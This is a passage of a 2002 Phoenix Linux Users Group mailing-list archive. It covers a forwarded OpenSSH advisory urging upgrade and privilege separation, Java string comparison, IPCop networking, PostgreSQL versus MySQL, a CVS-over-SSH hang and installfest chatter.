and many people dont trust you theo" and > > > suggested I "might be feeding everyone a trojan" (I think I'll publish > > > that letter -- it is just so funny). HP's representative was > > > downright rude, but that is OK because Compaq is retiring him. Except > > > for Solar Designer, I think none of them has helped the OpenSSH > > > portable developers make privsep work better on their systems. > > > Apparently Solar Designer is the only person who understands the need > > > for this stuff. > > > > > > So, if vendors would JUMP and get it working better, and send us > > > patches IMMEDIATELY, we can perhaps make a 3.3.1p release on Friday > > > which supports these systems better. So send patches by Thursday > > > night please. Then on Tuesday or Wednesday the complete bug report > > > with patches (and exploits soon after I am sure) will hit BUGTRAQ. > > > > > > Let me repeat: even if the bug exists in a privsep'd sshd, it is not > > > exploitable. Clearly we cannot yet publish what the bug is, or > > > provide anyone with the real patch, but we can try to get maximum > > > deployement of privsep, and therefore make it hurt less when the > > > problem is published. > > > > > > So please push your vendor to get us maximally working privsep patches > > > as soon as possible! > > > > > > We've given most vendors since Friday last week until Thursday to get > > > privsep working well for you so that when the announcement comes out > > > next week their customers are immunized. That is nearly a full week > > > (but they have already wasted a weekend and a Monday). Really I think > > > this is the best we can hope to do (this thing will eventually leak, > > > at which point the details will be published). > > > > > > Customers can judge their vendors by how they respond to this issue. > > > > > > OpenBSD and NetBSD users should also update to OpenSSH 3.3 right away. > > > On OpenBSD privsep works flawlessly, and I have reports that is also > > > true on NetBSD. All other systems appear to have minor or major > > > weaknesses when this code is running. > > > > > > (securityfocus postmaster; please post this through immediately, since > > > i have bcc'd over 30 other places..) > > _______________________________________________ > > openssh-unix-announce@mindrot.org mailing list > > http://www.mindrot.org/mailman/listinfo/openssh-unix-announce > > > > > > > > > > For help, email discuss-help@mandrakesecure.net; to unsubscribe send a > > message to discuss-unsubscribe@mandrakesecure.net. To visit > MandrakeSecure, > > go to http://www.mandrakesecure.net/. > > > > -- > MandrakeSoft Security; http://www.mandrakesecure.net/ > "lynx -source http://www.freezer-burn.org/bios/vdanen.gpg | gpg --import" > 1024D/FE6F2AFD 88D8 0D23 8D4B 3407 5BD7 66F9 2043 D0E5 FE6F 2AFD > > Current Linux kernel 2.4.18-6.10mdk uptime: 16 days 17 hours 58 minutes. > > > -- > Kevin O'Connor > > "People will be free to devote themselves to activities that are fun ... > > The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 01:19:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Mon, 24 Jun 2002 18:19:48 -0700 Subject: Help getting experience In-Reply-To: <200206211109.49382.isaac.sparrow@visicomp.com> References: <20020621162543.52195.qmail@web10602.mail.yahoo.com> <200206211109.49382.isaac.sparrow@visicomp.com> Message-ID: <20020625011948.GF8953@ecloud.org> On Fri, Jun 21, 2002 at 11:09:44AM -0700, Isaac Sparrow wrote: > String a = "foo" > String b = "foo" > > if (a.equals(b)) // true > > if (a == b) // false Maybe, but Java can also do string interning, which means that it will see that you already have "foo", probably don't need another one, and therefore make them both refer to the same instance. While in general you should use .equals() (or .equalsIgnoreCase(), also very handy; or a Collator, for faster comparison of frequently-used strings, or for alphabetical sorting) to compare strings, if you use intern() on every String, you can use == to compare them, and it will be a lot faster to just compare references instead of looking at every character until a difference is found. But internment (like interrment!) is itself an expensive operation. Make sure you know the difference between deprecation and depreciation, and how to pronounce the two; hate to think of how many programmers I've met who don't. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 00:58:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Mon, 24 Jun 2002 17:58:13 -0700 Subject: IPCop [SOLVED] In-Reply-To: <20020623010508.51cf265c.snoogans@qwest.net> References: <20020623010508.51cf265c.snoogans@qwest.net> Message-ID: <20020624175813.57e10a64.snoogans@qwest.net> thanks to veryone who helped out, the problem was i had it plugged into the uplink port, woops :) thanks to gilbert for the solution :) i allways had to plug the direct line from the qwest box into the uplink port so i just figured it was the same, boy was i wrong =/ well it works now and i got all the updates so its goin good, chalk up another successful installfest install :) On Sun, 23 Jun 2002 01:05:08 -0700 "robert jorgenson" wrote: > i was at the installfest today and installed IPCop on an extra box that i had, im trying to figure out how i need to set it up, i have qwest's vdsl which means that there is this gateway box sitting in our living room with a TV cable in and a TV cable and ethernate cable out acting as a dhcp server. I would assume i setup IPCop to get its ip from the gateway box and set it to act as a dhcp server for the rest of my network, however i am very new to networking and i am not sure exactly if that will work or what i have to do, any pointers in the right direction would be great :) Im reading the docs on the IPCop website right now hopefully i will come up with something from there too. > > -Robert > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 01:48:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 24 Jun 2002 18:48:44 -0700 Subject: OT: Language Stuff (WAS: Help getting experience) In-Reply-To: <20020625011948.GF8953@ecloud.org> References: <20020621162543.52195.qmail@web10602.mail.yahoo.com> <200206211109.49382.isaac.sparrow@visicomp.com> <20020625011948.GF8953@ecloud.org> Message-ID: <200206241848.49890.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Monday 24 June 2002 06:19 pm, Shawn Rutledge wrote: > On Fri, Jun 21, 2002 at 11:09:44AM -0700, Isaac Sparrow wrote: > > String a = "foo" > > String b = "foo" > > > > if (a.equals(b)) // true > > > > if (a == b) // false > > Maybe, but Java can also do string interning, which means that it will > see that you already have "foo", probably don't need another one, and > therefore make them both refer to the same instance. While in general > you should use .equals() (or .equalsIgnoreCase(), also very handy; or a > Collator, for faster comparison of frequently-used strings, or for > alphabetical sorting) to compare strings, if you use intern() on every > String, you can use == to compare them, and it will be a lot faster to > just compare references instead of looking at every character until a > difference is found. But internment (like interrment!) is itself an > expensive operation. I was under the impression that C++ did the same thing. The compiler generates a "static" region of memory that is used for all strings. Although the feature is compiler dependant, if you use the same string in two spots, they should both reference the same string. The gotcha' occurs when the compiler determines the string will be altered, in which case a copy of the string is made rather than using the original. Furthermore, I was under the impression that this was all done at compile time, so it is not really expensive. I would be extremely surprised if Java didn't do the same thing. After all, a String is immutable so there is practically zero overhead with trying to figure that one out. - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9F8wApNoctRtUIRQRAv4NAJ9wxIF2u2jITrDpM6puKMNugJy4MQCgjEO4 NJFvVStf/BJFkI99OIELnm0= =LNpe -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 01:59:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Mon, 24 Jun 2002 18:59:06 -0700 Subject: Install Fest Leftovers In-Reply-To: <02062411335104.07972@nova.wedge.org> References: <02062411335104.07972@nova.wedge.org> Message-ID: <1024970346.3d17ce6ae926a@webmail.freedom2surf.net> Quoting Jim : > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > OK - I have two meeses and a keyboard and two multiport hubs that I took home > > from the Install Fest. The owners can either claim them (I know who you are) > > or rest assured that they have found a good home. > - -- > Jim > Jim, If the Maueser say Trekker on them they're mine, but you can keep them just feed them a little Kaese now and then. mfg, Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 02:26:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Goodwin) Date: Tue, 25 Jun 2002 02:26:26 +0000 Subject: PostgreSQL versus MySQL Message-ID: <20020625022626.9ECDA6D9C0@www.fastmail.fm> I can't give you a point-by-point comparison, but I'd select PostgreSQL. It's very easy to set up and manage, it's very stable under load and is fully ACID-compliant. Here are a few links that may help you decide, but realize that both databases are evolving fairly rapidly, so some of this may be rather dated: http://www.phpbuilder.com/columns/tim20001112.php3 http://www.devshed.com/Server_Side/PostgreSQL/Installing/page1.html http://dmoz.org/Computers/Software/Databases/PostgreSQL http://www.101com.com/elx/article.asp?articleid=4340 http://philip.greenspun.com/panda/databases-choosing#acid /s. ======================================= Scott S. Goodwin scott@scottg.net http://scottg.net On Mon, 24 Jun 2002 17:46:02 -0700, plug-discuss-request@lists.plug.phoenix.az.us said: > Message: 9 > From: Lynn David Newton > Date: Mon, 24 Jun 2002 15:22:31 -0700 > To: Phoenix Linux Users Group > Subject: PostgreSQL versus MySQL > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > > To persons who have knowledge of both MySQL and > PostgreSQL: > > Could someone characterize the highlights and > differences, particularly regarding PostgreSQL? I've > been working on a project where I suggested using > MySQL, with which I am sufficiently familiar to just > jump right in and start using it to design a database, > tables, etc. However, I know utterly nothing about > PostgreSQL, and the person I'm working for believes it > would be a better choice for the project we're working > on, and also doesn't mind the time it will take for me > to come up to speed on it. No problem there, I'm always > happy for someone to pay me to learn something new, but > I also need to get a handle on it as quickly as > possible. > > Any short bullet list of comparisons would be much > appreciated. > > And lest I forget -- congratulations to PLUG on pulling > off what was apparently a successful event this past > weekend. I was not able to be there myself, but > encouraged others to go. > > -- > Lynn David Newton > Phoenix, AZ -- Scott Goodwin scott@scottg.net http://scottg.net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 02:32:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Goodwin) Date: Tue, 25 Jun 2002 02:32:26 +0000 Subject: CVS via SSH issues Message-ID: <20020625023226.69AA16D9B0@www.fastmail.fm> (resend -- forgot to set the 'Re:' to something intelligible -- sorry.) On Mon, 24 Jun 2002 17:46:02 -0700, plug-discuss-request@lists.plug.phoenix.az.us said: I've experienced the same behavior intermittently on my RH 7.2 box while checking out source from SourceForge.net. Not sure where the problem is, but when I Ctrl-C to break the connection, it seems that the last file did fully download, so the problem is probably in the closing the socket connection itself. /s. > Message: 8 > Date: Mon, 24 Jun 2002 15:20:25 -0700 > From: mondoshawan@tank.dyndns.org > To: plug > Subject: CVS via SSH issues > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Okay, maybe I'm doing something _completely_ wrong in here somewhere, > but > I'm experiencing problems doing a CVS checkout operation via SSH. > Either CVS > or SSH is hanging after checking out the last file in a module. Here's > the > scenario: > > [mondoshawan@nadesico:~]$ echo $CVSROOT > :ext:mondoshawan@thing:/var/cvs > [mondoshawan@nadesico:~]$ echo $CVS_RSH > ssh > [mondoshawan@nadesico:~]$ cvs co common > mondoshawan@thing's password: > U common/classes/srep/live/MsgTopicPostable.php > U common/classes/srep/live/Nav.php > (...ad infinitum...) > U common/functions/session.php > > Just after dealing with that last file, it hangs. It just so happens > that > common/functions/session.php is the last file it needs to checkout. > When I > do the checkout locally on Thing, I don't have any problems. > Additionally, > other coworkers don't have this issue (both Mac OS X and Debian Linux), > so > I'm guessing it's an issue on my local machine. Any ideas? > > -- > Thomas "Mondoshawan" Tate > mondoshawan@tank.dyndns.org > http://tank.webhop.org > > --__--__-- > > Message: 9 > From: Lynn David Newton > Date: Mon, 24 Jun 2002 15:22:31 -0700 > To: Phoenix Linux Users Group > Subject: PostgreSQL versus MySQL > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > > To persons who have knowledge of both MySQL and > PostgreSQL: > > Could someone characterize the highlights and > differences, particularly regarding PostgreSQL? I've > been working on a project where I suggested using > MySQL, with which I am sufficiently familiar to just > jump right in and start using it to design a database, > tables, etc. However, I know utterly nothing about > PostgreSQL, and the person I'm working for believes it > would be a better choice for the project we're working > on, and also doesn't mind the time it will take for me > to come up to speed on it. No problem there, I'm always > happy for someone to pay me to learn something new, but > I also need to get a handle on it as quickly as > possible. > > Any short bullet list of comparisons would be much > appreciated. > > And lest I forget -- congratulations to PLUG on pulling > off what was apparently a successful event this past > weekend. I was not able to be there myself, but > encouraged others to go. > > -- > Lynn David Newton > Phoenix, AZ > > --__--__-- > > Message: 10 > Subject: OpenSSL encryption > From: Benjamin Bostow > To: plug-discuss@lists.plug.phoenix.az.us > Date: 24 Jun 2002 15:59:55 -0700 > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > What is the strength of the encryption in OpenSSL and OpenSSH? Is there > a way to limit it to 56-bit for export and not allow the 128-bit? > > Ben > > > > --__--__-- > > Message: 11 > Date: Mon, 24 Jun 2002 15:28:20 -0700 > From: KevinO > To: AZUnix csnet , > PLUG discuss > > Subject: [Fwd: [openssh-unix-announce] Re: Upcoming OpenSSH > vulnerability] > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > For your SA'n enjoyment > > -------- Original Message -------- > Subject: [openssh-unix-announce] Re: Upcoming OpenSSH vulnerability > Date: Mon, 24 Jun 2002 23:06:31 +0200 > From: Markus Friedl > Reply-To: openssh@openssh.com > To: openssh-unix-announce@mindrot.org, openssh-unix-dev@mindrot.org > References: <200206242100.g5OL0BLL019128@cvs.openbsd.org> > > On Mon, Jun 24, 2002 at 03:00:10PM -0600, Theo de Raadt wrote: > > Date: Mon, 24 Jun 2002 15:00:10 -0600 > > From: Theo de Raadt > > Subject: Upcoming OpenSSH vulnerability > > To: bugtraq@securityfocus.com > > Cc: announce@openbsd.org > > Cc: dsi@iss.net > > Cc: misc@openbsd.org > > > > There is an upcoming OpenSSH vulnerability that we're working on with > > ISS. Details will be published early next week. > > > > However, I can say that when OpenSSH's sshd(8) is running with priv > > seperation, the bug cannot be exploited. > > > > OpenSSH 3.3p was released a few days ago, with various improvements > > but in particular, it significantly improves the Linux and Solaris > > support for priv sep. However, it is not yet perfect. Compression is > > disabled on some systems, and the many varieties of PAM are causing > > major headaches. > > > > However, everyone should update to OpenSSH 3.3 immediately, and enable > > priv seperation in their ssh daemons, by setting this in your > > /etc/ssh/sshd_config file: > > > > UsePrivilegeSeparation yes > > > > Depending on what your system is, privsep may break some ssh > > functionality. However, with privsep turned on, you are immune from > > at least one remote hole. Understand? > > > > 3.3 does not contain a fix for this upcoming bug. > > > > If priv seperation does not work on your operating system, you need to > > work with your vendor so that we get patches to make it work on your > > system. Our developers are swamped enough without trying to support > > the myriad of PAM and other issues which exist in various systems. > > You must call on your vendors to help us. > > > > Basically, OpenSSH sshd(8) is something like 27000 lines of code. A > > lot of that runs as root. But when UsePrivilegeSeparation is enabled, > > the daemon splits into two parts. A part containing about 2500 lines > > of code remains as root, and the rest of the code is shoved into a > > chroot-jail without any privs. This makes the daemon less vulnerable > > to attack. > > > > We've been trying to warn vendors about 3.3 and the need for privsep, > > but they really have not heeded our call for assistance. They have > > basically ignored us. Some, like Alan Cox, even went further stating > > that privsep was not being worked on because "Nobody provided any info > > which proves the problem, and many people dont trust you theo" and > > suggested I "might be feeding everyone a trojan" (I think I'll publish > > that letter -- it is just so funny). HP's representative was > > downright rude, but that is OK because Compaq is retiring him. Except > > for Solar Designer, I think none of them has helped the OpenSSH > > portable developers make privsep work better on their systems. > > Apparently Solar Designer is the only person who understands the need > > for this stuff. > > > > So, if vendors would JUMP and get it working better, and send us > > patches IMMEDIATELY, we can perhaps make a 3.3.1p release on Friday > > which supports these systems better. So send patches by Thursday > > night please. Then on Tuesday or Wednesday the complete bug report > > with patches (and exploits soon after I am sure) will hit BUGTRAQ. > > > > Let me repeat: even if the bug exists in a privsep'd sshd, it is not > > exploitable. Clearly we cannot yet publish what the bug is, or > > provide anyone with the real patch, but we can try to get maximum > > deployement of privsep, and therefore make it hurt less when the > > problem is published. > > > > So please push your vendor to get us maximally working privsep patches > > as soon as possible! > > > > We've given most vendors since Friday last week until Thursday to get > > privsep working well for you so that when the announcement comes out > > next week their customers are immunized. That is nearly a full week > > (but they have already wasted a weekend and a Monday). Really I think > > this is the best we can hope to do (this thing will eventually leak, > > at which point the details will be published). > > > > Customers can judge their vendors by how they respond to this issue. > > > > OpenBSD and NetBSD users should also update to OpenSSH 3.3 right away. > > On OpenBSD privsep works flawlessly, and I have reports that is also > > true on NetBSD. All other systems appear to have minor or major > > weaknesses when this code is running. > > > > (securityfocus postmaster; please post this through immediately, since > > i have bcc'd over 30 other places..) > _______________________________________________ > openssh-unix-announce@mindrot.org mailing list > http://www.mindrot.org/mailman/listinfo/openssh-unix-announce > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > > > > -- > Kevin O'Connor > > "People will be free to devote themselves to activities that are fun > ... > > The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, > Inc. > > > > --__--__-- > > _______________________________________________ > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > End of PLUG-discuss Digest > -- Scott Goodwin scott@scottg.net http://scottg.net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 02:31:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Goodwin) Date: Tue, 25 Jun 2002 02:31:02 +0000 Subject: PLUG-discuss digest, Vol 1 #2399 - 11 msgs Message-ID: <20020625023102.EFAC36DAB1@www.fastmail.fm> On Mon, 24 Jun 2002 17:46:02 -0700, plug-discuss-request@lists.plug.phoenix.az.us said: I've experienced the same behavior intermittently on my RH 7.2 box while checking out source from SourceForge.net. Not sure where the problem is, but when I Ctrl-C to break the connection, it seems that the last file did fully download, so the problem is probably in the closing the socket connection itself. /s. > Message: 8 > Date: Mon, 24 Jun 2002 15:20:25 -0700 > From: mondoshawan@tank.dyndns.org > To: plug > Subject: CVS via SSH issues > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Okay, maybe I'm doing something _completely_ wrong in here somewhere, > but > I'm experiencing problems doing a CVS checkout operation via SSH. > Either CVS > or SSH is hanging after checking out the last file in a module. Here's > the > scenario: > > [mondoshawan@nadesico:~]$ echo $CVSROOT > :ext:mondoshawan@thing:/var/cvs > [mondoshawan@nadesico:~]$ echo $CVS_RSH > ssh > [mondoshawan@nadesico:~]$ cvs co common > mondoshawan@thing's password: > U common/classes/srep/live/MsgTopicPostable.php > U common/classes/srep/live/Nav.php > (...ad infinitum...) > U common/functions/session.php > > Just after dealing with that last file, it hangs. It just so happens > that > common/functions/session.php is the last file it needs to checkout. > When I > do the checkout locally on Thing, I don't have any problems. > Additionally, > other coworkers don't have this issue (both Mac OS X and Debian Linux), > so > I'm guessing it's an issue on my local machine. Any ideas? > > -- > Thomas "Mondoshawan" Tate > mondoshawan@tank.dyndns.org > http://tank.webhop.org > > --__--__-- > > Message: 9 > From: Lynn David Newton > Date: Mon, 24 Jun 2002 15:22:31 -0700 > To: Phoenix Linux Users Group > Subject: PostgreSQL versus MySQL > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > > To persons who have knowledge of both MySQL and > PostgreSQL: > > Could someone characterize the highlights and > differences, particularly regarding PostgreSQL? I've > been working on a project where I suggested using > MySQL, with which I am sufficiently familiar to just > jump right in and start using it to design a database, > tables, etc. However, I know utterly nothing about > PostgreSQL, and the person I'm working for believes it > would be a better choice for the project we're working > on, and also doesn't mind the time it will take for me > to come up to speed on it. No problem there, I'm always > happy for someone to pay me to learn something new, but > I also need to get a handle on it as quickly as > possible. > > Any short bullet list of comparisons would be much > appreciated. > > And lest I forget -- congratulations to PLUG on pulling > off what was apparently a successful event this past > weekend. I was not able to be there myself, but > encouraged others to go. > > -- > Lynn David Newton > Phoenix, AZ > > --__--__-- > > Message: 10 > Subject: OpenSSL encryption > From: Benjamin Bostow > To: plug-discuss@lists.plug.phoenix.az.us > Date: 24 Jun 2002 15:59:55 -0700 > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > What is the strength of the encryption in OpenSSL and OpenSSH? Is there > a way to limit it to 56-bit for export and not allow the 128-bit? > > Ben > > > > --__--__-- > > Message: 11 > Date: Mon, 24 Jun 2002 15:28:20 -0700 > From: KevinO > To: AZUnix csnet , > PLUG discuss > > Subject: [Fwd: [openssh-unix-announce] Re: Upcoming OpenSSH > vulnerability] > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > For your SA'n enjoyment > > -------- Original Message -------- > Subject: [openssh-unix-announce] Re: Upcoming OpenSSH vulnerability > Date: Mon, 24 Jun 2002 23:06:31 +0200 > From: Markus Friedl > Reply-To: openssh@openssh.com > To: openssh-unix-announce@mindrot.org, openssh-unix-dev@mindrot.org > References: <200206242100.g5OL0BLL019128@cvs.openbsd.org> > > On Mon, Jun 24, 2002 at 03:00:10PM -0600, Theo de Raadt wrote: > > Date: Mon, 24 Jun 2002 15:00:10 -0600 > > From: Theo de Raadt > > Subject: Upcoming OpenSSH vulnerability > > To: bugtraq@securityfocus.com > > Cc: announce@openbsd.org > > Cc: dsi@iss.net > > Cc: misc@openbsd.org > > > > There is an upcoming OpenSSH vulnerability that we're working on with > > ISS. Details will be published early next week. > > > > However, I can say that when OpenSSH's sshd(8) is running with priv > > seperation, the bug cannot be exploited. > > > > OpenSSH 3.3p was released a few days ago, with various improvements > > but in particular, it significantly improves the Linux and Solaris > > support for priv sep. However, it is not yet perfect. Compression is > > disabled on some systems, and the many varieties of PAM are causing > > major headaches. > > > > However, everyone should update to OpenSSH 3.3 immediately, and enable > > priv seperation in their ssh daemons, by setting this in your > > /etc/ssh/sshd_config file: > > > > UsePrivilegeSeparation yes > > > > Depending on what your system is, privsep may break some ssh > > functionality. However, with privsep turned on, you are immune from > > at least one remote hole. Understand? > > > > 3.3 does not contain a fix for this upcoming bug. > > > > If priv seperation does not work on your operating system, you need to > > work with your vendor so that we get patches to make it work on your > > system. Our developers are swamped enough without trying to support > > the myriad of PAM and other issues which exist in various systems. > > You must call on your vendors to help us. > > > > Basically, OpenSSH sshd(8) is something like 27000 lines of code. A > > lot of that runs as root. But when UsePrivilegeSeparation is enabled, > > the daemon splits into two parts. A part containing about 2500 lines > > of code remains as root, and the rest of the code is shoved into a > > chroot-jail without any privs. This makes the daemon less vulnerable > > to attack. > > > > We've been trying to warn vendors about 3.3 and the need for privsep, > > but they really have not heeded our call for assistance. They have > > basically ignored us. Some, like Alan Cox, even went further stating > > that privsep was not being worked on because "Nobody provided any info > > which proves the problem, and many people dont trust you theo" and > > suggested I "might be feeding everyone a trojan" (I think I'll publish > > that letter -- it is just so funny). HP's representative was > > downright rude, but that is OK because Compaq is retiring him. Except > > for Solar Designer, I think none of them has helped the OpenSSH > > portable developers make privsep work better on their systems. > > Apparently Solar Designer is the only person who understands the need > > for this stuff. > > > > So, if vendors would JUMP and get it working better, and send us > > patches IMMEDIATELY, we can perhaps make a 3.3.1p release on Friday > > which supports these systems better. So send patches by Thursday > > night please. Then on Tuesday or Wednesday the complete bug report > > with patches (and exploits soon after I am sure) will hit BUGTRAQ. > > > > Let me repeat: even if the bug exists in a privsep'd sshd, it is not > > exploitable. Clearly we cannot yet publish what the bug is, or > > provide anyone with the real patch, but we can try to get maximum > > deployement of privsep, and therefore make it hurt less when the > > problem is published. > > > > So please push your vendor to get us maximally working privsep patches > > as soon as possible! > > > > We've given most vendors since Friday last week until Thursday to get > > privsep working well for you so that when the announcement comes out > > next week their customers are immunized. That is nearly a full week > > (but they have already wasted a weekend and a Monday). Really I think > > this is the best we can hope to do (this thing will eventually leak, > > at which point the details will be published). > > > > Customers can judge their vendors by how they respond to this issue. > > > > OpenBSD and NetBSD users should also update to OpenSSH 3.3 right away. > > On OpenBSD privsep works flawlessly, and I have reports that is also > > true on NetBSD. All other systems appear to have minor or major > > weaknesses when this code is running. > > > > (securityfocus postmaster; please post this through immediately, since > > i have bcc'd over 30 other places..) > _______________________________________________ > openssh-unix-announce@mindrot.org mailing list > http://www.mindrot.org/mailman/listinfo/openssh-unix-announce > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > > > > -- > Kevin O'Connor > > "People will be free to devote themselves to activities that are fun > ... > > The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, > Inc. > > > > --__--__-- > > _______________________________________________ > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > End of PLUG-discuss Digest > -- Scott Goodwin scott@scottg.net http://scottg.net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 02:35:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Mon, 24 Jun 2002 19:35:43 -0700 Subject: Post press release started? In-Reply-To: References: Message-ID: <1024972543.3d17d6ff5913d@webmail.freedom2surf.net> Quoting alandd@mindspring.com: > I think we need to get a celebratory press release out really soon. The > interest of the news in a press release goes down rapidly every day after > the > even. I think we need to post one by tomorrow. Has someone started one? > > Alan > OK, here's a crude start. Someone help round it out and find a good photo we can send along with it - Something tightly cropped showing a PLUG member helping with an install would be good. Dennis ========================================. The Phoenix Linux User Group "InstallFest" a success says organizer!! Held at SCC this past Saturday from 10am to 4pm "People came early and stayed to learn about Linux and install it on their computer with the help of a PLUG member." said Bill Lindley the InstallFest co-ordinator. In all 39 installations were done on a wide variety of hardware. It was a great experience" said WS of Goodyear, "There was always someone willing to answer my questions about Linux." Linux is the free OS that offers an alternative the Apple and Microsoft. Joining the PLUG members were representaives from redhat, Lycoris, There were plenty of door prizes, too. Plug has monthly eastside and westside meetings. Those new to Linux are welcome.~ ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 02:56:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Mon, 24 Jun 2002 21:56:25 -0500 Subject: [Fwd: Re: [discuss] Upcoming OpenSSH vulnerability] In-Reply-To: <20020625005208.GA31017@aries.evilmascot.com>; from kyle@kyleo.net on Mon, Jun 24, 2002 at 05:52:08PM -0700 References: <3D17AC36.8020104@deru.com> <20020625005208.GA31017@aries.evilmascot.com> Message-ID: <20020624215625.A70178@lilly.csoft.net> Yes, OpenBSD has sshd running by default. In fact, I have often wondered why they never included something like "ALL:ALL" in a /etc/hosts.deny file. v/r Mike On Mon, Jun 24, 2002 at 05:52:08PM -0700, Kyle O'Malley wrote: I cringe at the thought of upgrading sshd again (seems like I *just* did it for something with versions >3.1 iirc), and this time we're also adding a new user and directory (for priv seperation). Why does god hate us so. Hmm, can any openbsd users confirm if sshd is installed and running by default? Last time I used OBSD was 2.8, and if I remember it DID have it installed and running but that was while ago. If this is the case, could this spell the end of the "running x years without a remote exploit"? -Kyle On Mon, Jun 24, 2002 at 04:33:10PM -0700, KevinO wrote: > > > -------- Original Message -------- > Subject: Re: [discuss] Upcoming OpenSSH vulnerability > Date: Mon, 24 Jun 2002 15:42:46 -0600 > From: Vincent Danen > Reply-To: discuss@mandrakesecure.net > Organization: Danen Consulting Services (www.danen.net) > To: discuss@mandrakesecure.net > References: > > > On Mon Jun 24, 2002 at 03:21:24PM -0600, Daniel Woods wrote: > > > FYI... > > Updates are currently in the works. The vulnerability, as stated is > not yet public. I am close to having openssh built for all supported > platforms and just need to test them all now. > > > Date: Mon, 24 Jun 2002 23:06:31 +0200 > > From: Markus Friedl > > Reply-To: openssh@openssh.com > > To: openssh-unix-announce@mindrot.org, openssh-unix-dev@mindrot.org > > Subject: [openssh-unix-announce] Re: Upcoming OpenSSH vulnerability > > > > > > On Mon, Jun 24, 2002 at 03:00:10PM -0600, Theo de Raadt wrote: > > > Date: Mon, 24 Jun 2002 15:00:10 -0600 > > > From: Theo de Raadt > > > Subject: Upcoming OpenSSH vulnerability > > > To: bugtraq@securityfocus.com > > > Cc: announce@openbsd.org > > > Cc: dsi@iss.net > > > Cc: misc@openbsd.org > > > > > > There is an upcoming OpenSSH vulnerability that we're working on with > > > ISS. Details will be published early next week. > > > > > > However, I can say that when OpenSSH's sshd(8) is running with priv > > > seperation, the bug cannot be exploited. > > > > > > OpenSSH 3.3p was released a few days ago, with various improvements > > > but in particular, it significantly improves the Linux and Solaris > > > support for priv sep. However, it is not yet perfect. Compression is > > > disabled on some systems, and the many varieties of PAM are causing > > > major headaches. > > > > > > However, everyone should update to OpenSSH 3.3 immediately, and enable > > > priv seperation in their ssh daemons, by setting this in your > > > /etc/ssh/sshd_config file: > > > > > > UsePrivilegeSeparation yes > > > > > > Depending on what your system is, privsep may break some ssh > > > functionality. However, with privsep turned on, you are immune from > > > at least one remote hole. Understand? > > > > > > 3.3 does not contain a fix for this upcoming bug. > > > > > > If priv seperation does not work on your operating system, you need to > > > work with your vendor so that we get patches to make it work on your > > > system. Our developers are swamped enough without trying to support > > > the myriad of PAM and other issues which exist in various systems. > > > You must call on your vendors to help us. > > > > > > Basically, OpenSSH sshd(8) is something like 27000 lines of code. A > > > lot of that runs as root. But when UsePrivilegeSeparation is enabled, > > > the daemon splits into two parts. A part containing about 2500 lines > > > of code remains as root, and the rest of the code is shoved into a > > > chroot-jail without any privs. This makes the daemon less vulnerable > > > to attack. > > > > > > We've been trying to warn vendors about 3.3 and the need for privsep, > > > but they really have not heeded our call for assistance. They have > > > basically ignored us. Some, like Alan Cox, even went further stating > > > that privsep was not being worked on because "Nobody provided any info > > > which proves the problem, and many people dont trust you theo" and > > > suggested I "might be feeding everyone a trojan" (I think I'll publish > > > that letter -- it is just so funny). HP's representative was > > > downright rude, but that is OK because Compaq is retiring him. Except > > > for Solar Designer, I think none of them has helped the OpenSSH > > > portable developers make privsep work better on their systems. > > > Apparently Solar Designer is the only person who understands the need > > > for this stuff. > > > > > > So, if vendors would JUMP and get it working better, and send us > > > patches 